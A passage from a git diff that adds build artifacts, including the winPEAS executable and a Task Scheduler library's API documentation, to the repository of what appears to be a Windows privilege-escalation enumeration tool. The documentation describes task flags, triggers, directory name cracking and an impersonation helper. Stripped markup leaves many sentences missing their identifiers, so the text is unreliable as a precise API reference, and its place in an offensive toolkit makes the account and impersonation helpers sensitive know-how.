copied from . The must have zero-based indexing. + The zero-based index in at which copying begins. + + + + Copies the elements of the to a array, starting at a particular array index. + + The zero-based index in the source at which copying begins. + The array that is the destination of the elements copied from . The array must have zero-based indexing. + The zero-based index in array at which copying begins. + The number of elements to copy. + is null. + is less than 0. + The number of elements in the source is greater than the available space from to the end of the destination . + + + + Releases all resources used by this class. + + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the first occurrence within the entire collection. + + The delegate that defines the conditions of the to search for. + The first that matches the conditions defined by the specified predicate, if found; otherwise, null. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. + + The zero-based starting index of the search. + The number of elements in the collection to search. + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based index of the first occurrence within the collection. + + The delegate that defines the conditions of the element to search for. + The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. + + + + Gets the collection enumerator for this collection. + + The for this collection. + + + + Determines the index of a specific item in the . + + The object to locate in the . + + The index of if found in the list; otherwise, -1. + + + + + Determines the index of a specific item in the . + + The id () of the trigger to be retrieved. + + The index of if found in the list; otherwise, -1. + + + + + Inserts an trigger at the specified index. + + The zero-based index at which trigger should be inserted. + The trigger to insert into the list. + + + + Removes the first occurrence of a specific object from the . + + The object to remove from the . + + true if was successfully removed from the ; otherwise, false. This method also returns false if is not found in the original . + + + + + Removes the trigger at a specified index. + + Index of trigger to remove. + Index out of range. + + + + Copies the elements of the to a new array. + + An array containing copies of the elements of the . + + + + Returns a that represents the triggers in this collection. + + + A that represents the triggers in this collection. + + + + + Releases all resources used by this class. + + + + Represents a system account. + + + Initializes a new instance of the class. + + Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or + null (for current user). + + + + Initializes a new instance of the class. + The . + + + Gets the current user. + The current user. + + + Gets the identity. + The identity. + + + Gets a value indicating whether this instance is in an administrator role. + true if this instance is an admin; otherwise, false. + + + Gets a value indicating whether this instance is the interactive user. + true if this instance is the current user; otherwise, false. + + + Gets a value indicating whether this instance is a service account. + true if this instance is a service account; otherwise, false. + + + Gets a value indicating whether this instance is the SYSTEM account. + true if this instance is the SYSTEM account; otherwise, false. + + + Gets the SID string. + The SID string. + + + Gets the NT name (DOMAIN\username). + The name of the user. + + + Create a instance from a SID string. + The SID string. + A instance. + + + Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. + + + Determines whether the specified , is equal to this instance. + The to compare with this instance. + true if the specified is equal to this instance; otherwise, false. + + + Indicates whether the current object is equal to another object of the same type. + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + Returns a hash code for this instance. + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + Options for a task, used for the Flags property of a Task. Uses the + "Flags" attribute, so these values are combined with |. + Some flags are documented as Windows 95 only, but they have a + user interface in Windows XP so that may not be true. + + + + + The interactive flag is set if the task is intended to be displayed to the user. + If the flag is not set, no user interface associated with the task is presented + to the user when the task is executed. + + + + + The task will be deleted when there are no more scheduled run times. + + + + + The task is disabled. This is useful to temporarily prevent a task from running + at the scheduled time(s). + + + + + The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. + + + + + The task terminates if the computer makes an idle to non-idle transition while the task is running. + The computer is not considered idle until the IdleWait triggers' time elapses with no user input. + Windows 95 only. For information regarding idle triggers, see . + + + + + The task does not start if its target computer is running on battery power. Windows 95 only. + + + + + The task ends, and the associated application quits if the task's target computer switches + to battery power. Windows 95 only. + + + + + The task runs only if the system is docked. Windows 95 only. + + + + + The work item created will be hidden. + + + + + The task runs only if there is currently a valid Internet connection. + This feature is currently not implemented. + + + + + The task starts again if the computer makes a non-idle to idle transition before all the + task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. + + + + + The task runs only if the SYSTEM account is available. + + + + + The task runs only if the user specified in SetAccountInformation is logged on interactively. + This flag has no effect on work items set to run in the local account. + + + + + Status values returned for a task. Some values have been determined to occur although + they do no appear in the Task Scheduler system documentation. + + + + The task is ready to run at its next scheduled time. + + + The task is currently running. + + + One or more of the properties that are needed to run this task on a schedule have not been set. + + + The task has not yet run. + + + The task will not run at the scheduled times because it has been disabled. + + + There are no more runs scheduled for this task. + + + The last run of the task was terminated by the user. + + + Either the task has no triggers or the existing triggers are disabled or not set. + + + Event triggers don't have set run times. + + + Valid types of triggers + + + Trigger is set to run the task a single time. + + + Trigger is set to run the task on a daily interval. + + + Trigger is set to run the work item on specific days of a specific week of a specific month. + + + Trigger is set to run the task on a specific day(s) of the month. + + + Trigger is set to run the task on specific days, weeks, and months. + + + Trigger is set to run the task if the system remains idle for the amount of time specified by the idle wait time of the task. + + + Trigger is set to run the task at system startup. + + + Trigger is set to run the task when a user logs on. + + + + Represents a wildcard running on the + engine. + + + + + Initializes a wildcard with the given search pattern and options. + + The wildcard pattern to match. + A combination of one or more . + + + + Converts a wildcard to a regular expression. + + The wildcard pattern to convert. + A regular expression equivalent of the given wildcard. + + + + The GlobalLock function locks a global memory object and returns a pointer to the first byte of the object's memory block. + GlobalLock function increments the lock count by one. + Needed for the clipboard functions when getting the data from IDataObject + + + + + + + The GlobalUnlock function decrements the lock count associated with a memory object. + + + + + + + Defines the errors returned by the status member of the DS_NAME_RESULT_ITEM structure. These are potential errors that may be encountered while a name is converted by the DsCrackNames function. + + + + The conversion was successful. + + + Generic processing error occurred. + + + The name cannot be found or the caller does not have permission to access the name. + + + The input name is mapped to more than one output name or the desired format did not have a single, unique value for the object found. + + + The input name was found, but the associated output format cannot be found. This can occur if the object does not have all the required attributes. + + + Unable to resolve entire name, but was able to determine in which domain object resides. The caller is expected to retry the call at a domain controller for the specified domain. The entire name cannot be resolved, but the domain that the object resides in could be determined. The pDomain member of the DS_NAME_RESULT_ITEM contains valid data when this error is specified. + + + A syntactical mapping cannot be performed on the client without transmitting over the network. + + + The name is from an external trusted forest. + + + + Used to define how the name syntax will be cracked. These flags are used by the DsCrackNames function. + + + + Indicate that there are no associated flags. + + + Perform a syntactical mapping at the client without transferring over the network. The only syntactic mapping supported is from DS_FQDN_1779_NAME to DS_CANONICAL_NAME or DS_CANONICAL_NAME_EX. + + + Force a trip to the DC for evaluation, even if this could be locally cracked syntactically. + + + The call fails if the domain controller is not a global catalog server. + + + Enable cross forest trust referral. + + + + Provides formats to use for input and output names for the DsCrackNames function. + + + + Indicates the name is using an unknown name type. This format can impact performance because it forces the server to attempt to match all possible formats. Only use this value if the input format is unknown. + + + Indicates that the fully qualified distinguished name is used. For example: "CN = someone, OU = Users, DC = Engineering, DC = Fabrikam, DC = Com" + + + Indicates a Windows NT 4.0 account name. For example: "Engineering\someone" The domain-only version includes two trailing backslashes (\\). + + + Indicates a user-friendly display name, for example, Jeff Smith. The display name is not necessarily the same as relative distinguished name (RDN). + + + Indicates a GUID string that the IIDFromString function returns. For example: "{4fa050f0-f561-11cf-bdd9-00aa003a77b6}" + + + Indicates a complete canonical name. For example: "engineering.fabrikam.com/software/someone" The domain-only version includes a trailing forward slash (/). + + + Indicates that it is using the user principal name (UPN). For example: "someone@engineering.fabrikam.com" + + + This element is the same as DS_CANONICAL_NAME except that the rightmost forward slash (/) is replaced with a newline character (\n), even in a domain-only case. For example: "engineering.fabrikam.com/software\nsomeone" + + + Indicates it is using a generalized service principal name. For example: "www/www.fabrikam.com@fabrikam.com" + + + Indicates a Security Identifier (SID) for the object. This can be either the current SID or a SID from the object SID history. The SID string can use either the standard string representation of a SID, or one of the string constants defined in Sddl.h. For more information about converting a binary SID into a SID string, see SID Strings. The following is an example of a SID string: "S-1-5-21-397955417-626881126-188441444-501" + + + + Class that provides methods against a AD domain service. + + + + + + Initializes a new instance of the class. + + Name of the domain controller. + Name of the DNS domain. + + + + + Converts a directory service object name from any format to the UPN. + + The name to convert. + The corresponding UPN. + Unable to resolve user name. + + + + Converts an array of directory service object names from one format to another. Name conversion enables client applications to map between the multiple names used to identify various directory service objects. + + The names to convert. + Values used to determine how the name syntax will be cracked. + Format of the input names. + Desired format for the output names. + An array of DS_NAME_RESULT_ITEM structures. Each element of this array represents a single converted name. + + + + Impersonation of a user. Allows to execute code under another + user context. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + + + + Constructor. Starts the impersonation with the given credentials. + Please note that the account that instantiates the Impersonator class + needs to have the 'Act as part of operating system' privilege set. + + The name of the user to act as. + The domain name of the user to act as. + The password of the user to act as. + + + + Indicates that the value of the marked element could be null sometimes, + so the check for null is necessary before its usage. + + + [CanBeNull] object Test() => null; + + void UseTest() { + var p = Test(); + var s = p.ToString(); // Warning: Possible 'System.NullReferenceException' + } + + + + + Indicates that the value of the marked element could never be null. + + + [NotNull] object Foo() { + return null; // Warning: Possible 'null' assignment + } + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can never be null. + + + + + Can be appplied to symbols of types derived from IEnumerable as well as to symbols of Task + and Lazy classes to indicate that the value of a collection item, of the Task.Result property + or of the Lazy.Value property can be null. + + + + + Indicates that the marked method builds string by format pattern and (optional) arguments. + Parameter, which contains format string, should be given in constructor. The format string + should be in -like form. + + + [StringFormatMethod("message")] + void ShowError(string message, params object[] args) { /* do something */ } + + void Foo() { + ShowError("Failed: {0}"); // Warning: Non-existing argument in format string + } + + + + + Specifies which parameter of an annotated method should be treated as format-string + + + + + For a parameter that is expected to be one of the limited set of values. + Specify fields of which type should be used as values for this parameter. + + + + + Indicates that the function argument should be string literal and match one + of the parameters of the caller function. For example, ReSharper annotates + the parameter of . + + + void Foo(string param) { + if (param == null) + throw new ArgumentNullException("par"); // Warning: Cannot resolve symbol + } + + + + + Indicates that the method is contained in a type that implements + System.ComponentModel.INotifyPropertyChanged interface and this method + is used to notify that some property value changed. + + + The method should be non-static and conform to one of the supported signatures: + + NotifyChanged(string) + NotifyChanged(params string[]) + NotifyChanged{T}(Expression{Func{T}}) + NotifyChanged{T,U}(Expression{Func{T,U}}) + SetProperty{T}(ref T, T, string) + + + + public class Foo : INotifyPropertyChanged { + public event PropertyChangedEventHandler PropertyChanged; + + [NotifyPropertyChangedInvocator] + protected virtual void NotifyChanged(string propertyName) { ... } + + string _name; + + public string Name { + get { return _name; } + set { _name = value; NotifyChanged("LastName"); /* Warning */ } + } + } + + Examples of generated notifications: + + NotifyChanged("Property") + NotifyChanged(() => Property) + NotifyChanged((VM x) => x.Property) + SetProperty(ref myField, value, "Property") + + + + + + Describes dependency between method input and output. + + +

Function Definition Table syntax:

+ + FDT ::= FDTRow [;FDTRow]* + FDTRow ::= Input => Output | Output <= Input + Input ::= ParameterName: Value [, Input]* + Output ::= [ParameterName: Value]* {halt|stop|void|nothing|Value} + Value ::= true | false | null | notnull | canbenull + + If method has single input parameter, it's name could be omitted.
+ Using halt (or void/nothing, which is the same) for method output + means that the methos doesn't return normally (throws or terminates the process).
+ Value canbenull is only applicable for output parameters.
+ You can use multiple [ContractAnnotation] for each FDT row, or use single attribute + with rows separated by semicolon. There is no notion of order rows, all rows are checked + for applicability and applied per each program state tracked by R# analysis.
+
+ + + [ContractAnnotation("=> halt")] + public void TerminationMethod() + + + [ContractAnnotation("halt <= condition: false")] + public void Assert(bool condition, string text) // regular assertion method + + + [ContractAnnotation("s:null => true")] + public bool IsNullOrEmpty(string s) // string.IsNullOrEmpty() + + + // A method that returns null if the parameter is null, + // and not null if the parameter is not null + [ContractAnnotation("null => null; notnull => notnull")] + public object Transform(object data) + + + [ContractAnnotation("=> true, result: notnull; => false, result: null")] + public bool TryParse(string s, out Person result) + + +
+ + + Indicates that marked element should be localized or not. + + + [LocalizationRequiredAttribute(true)] + class Foo { + string str = "my string"; // Warning: Localizable string + } + + + + + Indicates that the value of the marked type (or its derivatives) + cannot be compared using '==' or '!=' operators and Equals() + should be used instead. However, using '==' or '!=' for comparison + with null is always permitted. + + + [CannotApplyEqualityOperator] + class NoEquality { } + + class UsesNoEquality { + void Test() { + var ca1 = new NoEquality(); + var ca2 = new NoEquality(); + if (ca1 != null) { // OK + bool condition = ca1 == ca2; // Warning + } + } + } + + + + + When applied to a target attribute, specifies a requirement for any type marked + with the target attribute to implement or inherit specific type or types. + + + [BaseTypeRequired(typeof(IComponent)] // Specify requirement + class ComponentAttribute : Attribute { } + + [Component] // ComponentAttribute requires implementing IComponent interface + class MyComponent : IComponent { } + + + + + Indicates that the marked symbol is used implicitly (e.g. via reflection, in external library), + so this symbol will not be marked as unused (as well as by other usage inspections). + + + + + Should be used on attributes and causes ReSharper to not mark symbols marked with such attributes + as unused (as well as by other usage inspections) + + + + Only entity marked with attribute considered used. + + + Indicates implicit assignment to a member. + + + + Indicates implicit instantiation of a type with fixed constructor signature. + That means any unused constructor parameters won't be reported as such. + + + + Indicates implicit instantiation of a type. + + + + Specify what is considered used implicitly when marked + with or . + + + + Members of entity marked with attribute are considered used. + + + Entity marked with attribute and all its members considered used. + + + + This attribute is intended to mark publicly available API + which should not be removed and so is treated as used. + + + + + Tells code analysis engine if the parameter is completely handled when the invoked method is on stack. + If the parameter is a delegate, indicates that delegate is executed while the method is executed. + If the parameter is an enumerable, indicates that it is enumerated while the method is executed. + + + + + Indicates that a method does not make any observable state changes. + The same as System.Diagnostics.Contracts.PureAttribute. + + + [Pure] int Multiply(int x, int y) => x * y; + + void M() { + Multiply(123, 42); // Waring: Return value of pure method is not used + } + + + + + Indicates that the return value of method invocation must be used. + + + + + Indicates the type member or parameter of some type, that should be used instead of all other ways + to get the value that type. This annotation is useful when you have some "context" value evaluated + and stored somewhere, meaning that all other ways to get this value must be consolidated with existing one. + + + class Foo { + [ProvidesContext] IBarService _barService = ...; + + void ProcessNode(INode node) { + DoSomething(node, node.GetGlobalServices().Bar); + // ^ Warning: use value of '_barService' field + } + } + + + + + Indicates that a parameter is a path to a file or a folder within a web project. + Path can be relative or absolute, starting from web root (~). + + + + + An extension method marked with this attribute is processed by ReSharper code completion + as a 'Source Template'. When extension method is completed over some expression, it's source code + is automatically expanded like a template at call site. + + + Template method body can contain valid source code and/or special comments starting with '$'. + Text inside these comments is added as source code when the template is applied. Template parameters + can be used either as additional method parameters or as identifiers wrapped in two '$' signs. + Use the attribute to specify macros for parameters. + + + In this example, the 'forEach' method is a source template available over all values + of enumerable types, producing ordinary C# 'foreach' statement and placing caret inside block: + + [SourceTemplate] + public static void forEach<T>(this IEnumerable<T> xs) { + foreach (var x in xs) { + //$ $END$ + } + } + + + + + + Allows specifying a macro for a parameter of a source template. + + + You can apply the attribute on the whole method or on any of its additional parameters. The macro expression + is defined in the property. When applied on a method, the target + template parameter is defined in the property. To apply the macro silently + for the parameter, set the property value = -1. + + + Applying the attribute on a source template method: + + [SourceTemplate, Macro(Target = "item", Expression = "suggestVariableName()")] + public static void forEach<T>(this IEnumerable<T> collection) { + foreach (var item in collection) { + //$ $END$ + } + } + + Applying the attribute on a template method parameter: + + [SourceTemplate] + public static void something(this Entity x, [Macro(Expression = "guid()", Editable = -1)] string newguid) { + /*$ var $x$Id = "$newguid$" + x.ToString(); + x.DoSomething($x$Id); */ + } + + + + + + Allows specifying a macro that will be executed for a source template + parameter when the template is expanded. + + + + + Allows specifying which occurrence of the target parameter becomes editable when the template is deployed. + + + If the target parameter is used several times in the template, only one occurrence becomes editable; + other occurrences are changed synchronously. To specify the zero-based index of the editable occurrence, + use values >= 0. To make the parameter non-editable when the template is expanded, use -1. + > + + + + Identifies the target parameter of a source template if the + is applied on a template method. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC action. If applied to a method, the MVC action name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC area. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is + an MVC controller. If applied to a method, the MVC controller name is calculated + implicitly from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.ChildActionExtensions.RenderAction(HtmlHelper, String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC Master. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC model type. Use this attribute + for custom wrappers similar to System.Web.Mvc.Controller.View(String, Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter is an MVC + partial view. If applied to a method, the MVC partial view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.RenderPartialExtensions.RenderPartial(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Allows disabling inspections for MVC views within a class or a method. + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC display template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.DisplayExtensions.DisplayForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC editor template. + Use this attribute for custom wrappers similar to + System.Web.Mvc.Html.EditorExtensions.EditorForModel(HtmlHelper, String). + + + + + ASP.NET MVC attribute. Indicates that a parameter is an MVC template. + Use this attribute for custom wrappers similar to + System.ComponentModel.DataAnnotations.UIHintAttribute(System.String). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component. If applied to a method, the MVC view name is calculated implicitly + from the context. Use this attribute for custom wrappers similar to + System.Web.Mvc.Controller.View(Object). + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component name. + + + + + ASP.NET MVC attribute. If applied to a parameter, indicates that the parameter + is an MVC view component view. If applied to a method, the MVC view component view name is default. + + + + + ASP.NET MVC attribute. When applied to a parameter of an attribute, + indicates that this parameter is an MVC action name. + + + [ActionName("Foo")] + public ActionResult Login(string returnUrl) { + ViewBag.ReturnUrl = Url.Action("Foo"); // OK + return RedirectToAction("Bar"); // Error: Cannot resolve action + } + + + + + Razor attribute. Indicates that a parameter or a method is a Razor section. + Use this attribute for custom wrappers similar to + System.Web.WebPages.WebPageBase.RenderSection(String). + + + + + Indicates how method, constructor invocation or property access + over collection type affects content of the collection. + + + + Method does not use or modify content of the collection. + + + Method only reads content of the collection but does not modify it. + + + Method can change content of the collection but does not add new elements. + + + Method can add new elements to the collection. + + + + Indicates that the marked method is assertion method, i.e. it halts control flow if + one of the conditions is satisfied. To set the condition, mark one of the parameters with + attribute. + + + + + Indicates the condition parameter of the assertion method. The method itself should be + marked by attribute. The mandatory argument of + the attribute is the assertion type. + + + + + Specifies assertion type. If the assertion method argument satisfies the condition, + then the execution continues. Otherwise, execution is assumed to be halted. + + + + Marked parameter should be evaluated to true. + + + Marked parameter should be evaluated to false. + + + Marked parameter should be evaluated to null value. + + + Marked parameter should be evaluated to not null value. + + + + Indicates that the marked method unconditionally terminates control flow execution. + For example, it could unconditionally throw exception. + + + + + Indicates that method is pure LINQ method, with postponed enumeration (like Enumerable.Select, + .Where). This annotation allows inference of [InstantHandle] annotation for parameters + of delegate type by analyzing LINQ method chains. + + + + + Indicates that IEnumerable, passed as parameter, is not enumerated. + + + + + Indicates that parameter is regular expression pattern. + + + + + Prevents the Member Reordering feature from tossing members of the marked class. + + + The attribute must be mentioned in your member reordering patterns + + + + + XAML attribute. Indicates the type that has ItemsSource property and should be treated + as ItemsControl-derived type, to enable inner items DataContext type resolve. + + + + + XAML attribute. Indicates the property of some BindingBase-derived type, that + is used to bind some item of ItemsControl-derived type. This annotation will + enable the DataContext type resolve for XAML bindings for such properties. + + + Property should have the tree ancestor of the ItemsControl type or + marked with the attribute. + + + + Extensions for classes in the System.Security.AccessControl namespace. + + + Canonicalizes the specified Access Control List. + The Access Control List. + + + Sort ACEs according to canonical form for this . + The object security whose DiscretionaryAcl will be made canonical. + + + Returns an array of byte values that represents the information contained in this object. + The object. + The byte array into which the contents of the is marshaled. + + + + Converts the string representation of the name or numeric value of one or more enumerated constants to an equivalent enumerated object or returns the value of . If is undefined, it returns the first declared item in the enumerated type. + + The enumeration type to which to convert . + The string representation of the enumeration name or underlying value to convert. + true to ignore case; false to consider case. + The default value. + An object of type whose value is represented by value. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + Output type for the CLI array. must be able to convert to . + The pointing to the native array. + The number of items in the native array. + An array of type containing the converted elements of the native array. + + + + Converts an that points to a C-style array into a CLI array. + + Type of native structure used by the C-style array. + The pointing to the native array. + The number of items in the native array. + An array of type containing the elements of the native array. + + + Represents a strongly-typed, read-only collection of elements. + The type of the elements. + + + + Gets the number of elements in the collection. + The number of elements in the collection. + + + Represents a read-only collection of elements that can be accessed by index. + The type of elements in the read-only list. + + + + Gets the element at the specified index in the read-only list. + The element at the specified index in the read-only list. + The zero-based index of the element to get. + + + Extensions related to System.Reflection + + + Loads a type from a named assembly. + Name of the type. + The name or path of the file that contains the manifest of the assembly. + The reference, or null if type or assembly not found. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly reference name from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Tries the retrieve a reference from an assembly. + Name of the type. + The assembly from which to load the type. + The reference, if found. + true if the type was found in the assembly; otherwise, false. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. This method assumes the type has a default public constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on a created instance of a type with parameters. + The expected type of the method's return value. + The type to be instantiated and then used to invoke the method. + The arguments to supply to the constructor. + Name of the method. + The arguments to provide to the method invocation. + The value returned from the method. + + + Invokes a named method on an object with parameters and no return value. + The object on which to invoke the method. + Name of the method. + The arguments to provide to the method invocation. + + + Invokes a named method on an object with parameters and no return value. + The expected type of the method's return value. + The object on which to invoke the method. + Name of the method. + The types of the . + The arguments to provide to the method invocation. + The value returned from the method. + + + Gets a named property value from an object. + The expected type of the property to be returned. + The object from which to retrieve the property. + Name of the property. + The default value to return in the instance that the property is not found. + The property value, if found, or the if not. + + + Sets a named property on an object. + The type of the property to be set. + The object on which to set the property. + Name of the property. + The property value to set on the object. + +
+
diff --git a/winPEAS/winPEASexe/winPEAS/bin/Release/winPEAS.exe b/winPEAS/winPEASexe/winPEAS/bin/Release/winPEAS.exe new file mode 100755 index 0000000..13b6bf7 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/bin/Release/winPEAS.exe differ diff --git a/winPEAS/winPEASexe/winPEAS/bin/Release/winPEAS.exe.config b/winPEAS/winPEASexe/winPEAS/bin/Release/winPEAS.exe.config new file mode 100755 index 0000000..2c307fa --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/bin/Release/winPEAS.exe.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/winPEAS/winPEASexe/winPEAS/bin/Release/winPEAS.pdb b/winPEAS/winPEASexe/winPEAS/bin/Release/winPEAS.pdb new file mode 100755 index 0000000..2f77cc5 Binary files /dev/null and b/winPEAS/winPEASexe/winPEAS/bin/Release/winPEAS.pdb differ diff --git a/winPEAS/winPEASexe/winPEAS/bin/x64/Release/Microsoft.Win32.TaskScheduler.xml b/winPEAS/winPEASexe/winPEAS/bin/x64/Release/Microsoft.Win32.TaskScheduler.xml new file mode 100755 index 0000000..25324e0 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/bin/x64/Release/Microsoft.Win32.TaskScheduler.xml @@ -0,0 +1,7584 @@ + + + + Microsoft.Win32.TaskScheduler + + + + Defines the type of actions a task can perform. + The action type is defined when the action is created and cannot be changed later. See . + + + + This action performs a command-line operation. For example, the action can run a script, launch an executable, or, if the name of a document is + provided, find its associated application and launch the application with the document. + + + + This action fires a handler. + + + This action sends and e-mail. + + + This action shows a message box. + + + + An interface that exposes the ability to convert an actions functionality to a PowerShell script. + + + + + Abstract base class that provides the common properties that are inherited by all action + objects. An action object is created by the method. + + + + List of unbound values when working with Actions not associated with a registered task. + + + + Occurs when a property value changes. + + + + + Gets the type of the action. + + The type of the action. + + + + Gets or sets the identifier of the action. + + + + + Creates the specified action. + + Type of the action to instantiate. + of specified type. + + + + Creates a new object that is a copy of the current instance. + + + A new object that is a copy of this instance. + + + + Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. + An object to compare with this instance. + A value that indicates the relative order of the objects being compared. + + + + Releases all resources used by this class. + + + + + Determines whether the specified , is equal to this instance. + + The to compare with this instance. + + true if the specified is equal to this instance; otherwise, false. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Returns a hash code for this instance. + + + A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. + + + + + Returns the action Id. + + String representation of action. + + + + Returns a that represents this action. + + The culture. + String representation of action. + + + + Creates a specialized class from a defined interface. + + Version 1.0 interface. + Specialized action class + + + + Creates a specialized class from a defined interface. + + Version 2.0 Action interface. + Specialized action class + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that fires a handler. Only available on Task Scheduler 2.0. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + + This action is the most complex. It allows the task to execute and In-Proc COM server object that implements the ITaskHandler interface. There is a sample project that shows how to do this in the Downloads section. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Identifier of the handler class. + Addition data associated with the handler. + + + + Gets or sets the identifier of the handler class. + + + + + Gets the name of the object referred to by . + + + + + Gets or sets additional data that is associated with the handler. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Gets the name for CLSID. + + The unique identifier. + + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that sends an e-mail. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + The EmailAction allows for an email to be sent when the task is triggered. + + + + + Creates an unbound instance of . + + + + + Creates an unbound instance of . + + Subject of the e-mail. + E-mail address that you want to send the e-mail from. + E-mail address or addresses that you want to send the e-mail to. + Body of the e-mail that contains the e-mail message. + Name of the server that you use to send e-mail from. + + + + Gets or sets an array of file paths to be sent as attachments with the e-mail. Each item must be a value containing a path to file. + + + + + Gets or sets the e-mail address or addresses that you want to Bcc in the e-mail. + + + + + Gets or sets the body of the e-mail that contains the e-mail message. + + + + + Gets or sets the e-mail address or addresses that you want to Cc in the e-mail. + + + + + Gets or sets the e-mail address that you want to send the e-mail from. + + + + + Gets or sets the header information in the e-mail message to send. + + + + + Gets or sets the priority of the e-mail message. + + + A that contains the priority of this message. + + + + + Gets or sets the e-mail address that you want to reply to. + + + + + Gets or sets the name of the server that you use to send e-mail from. + + + + + Gets or sets the subject of the e-mail. + + + + + Gets or sets the e-mail address or addresses that you want to send the e-mail to. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that executes a command-line operation. + + All versions of the base library support the ExecAction. It only has three properties that allow it to run an executable with parameters. + + + + + Creates a new instance of an that can be added to . + + + + + Creates a new instance of an that can be added to . + + Path to an executable file. + Arguments associated with the command-line operation. This value can be null. + Directory that contains either the executable file or the files that are used by the executable file. This value can be null. + + + + Gets or sets the arguments associated with the command-line operation. + + + + + Gets or sets the path to an executable file. + + + + + Gets or sets the directory that contains either the executable file or the files that are used by the executable file. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + true if the current object is equal to the parameter; otherwise, false. + + + + Validates the input as a valid filename and optionally checks for its existence. If valid, the property is set to the validated absolute file path. + + The file path to validate. + if set to true check if the file exists. + + + + Gets a string representation of the . + + String representation of this action. + + + Determines whether the specified path is a valid filename and, optionally, if it exists. + The path. + if set to true check if file exists. + if set to true throw exception on error. + true if the specified path is a valid filename; otherwise, false. + + + + Copies the properties from another the current instance. + + The source . + + + + Represents an action that shows a message box when a task is activated. + Only available for Task Scheduler 2.0 on Windows Vista or Windows Server 2003 and later. + This action has been deprecated in Windows 8 and later. However, this library is able to mimic its functionality using PowerShell if the property is set to . To disable this conversion, set the value to . + + Display a message when the trigger fires using the ShowMessageAction. + + + + + Creates a new unbound instance of . + + + + + Creates a new unbound instance of . + + Message text that is displayed in the body of the message box. + Title of the message box. + + + + Gets or sets the message text that is displayed in the body of the message box. + + + + + Gets or sets the title of the message box. + + + + + Indicates whether the current object is equal to another object of the same type. + + An object to compare with this object. + + true if the current object is equal to the parameter; otherwise, false. + + + + + Gets a string representation of the . + + String representation of this action. + + + + Copies the properties from another the current instance. + + The source . + + + + Options for when to convert actions to PowerShell equivalents. + + + + + Never convert any actions to PowerShell. This will force exceptions to be thrown when unsupported actions our action quantities are found. + + + + + Convert actions under Version 1 of the library (Windows XP or Windows Server 2003 and earlier). This option supports multiple actions of all types. + If not specified, only a single is supported. Developer must ensure that PowerShell v2 or higher is installed on the target computer. + + + + + Convert all and references to their PowerShell equivalents on systems on or after Windows 8 / Server 2012. + + + + + Convert all actions regardless of version or operating system. + + + + + Collection that contains the actions that are performed by the task. + + + + + Gets or sets the identifier of the principal for the task. + + + + + Gets the number of actions in the collection. + + + + Gets or sets the systems under which unsupported actions will be converted to PowerShell instances. + The PowerShell platform options. + This property will affect how many actions are physically stored in the system and is 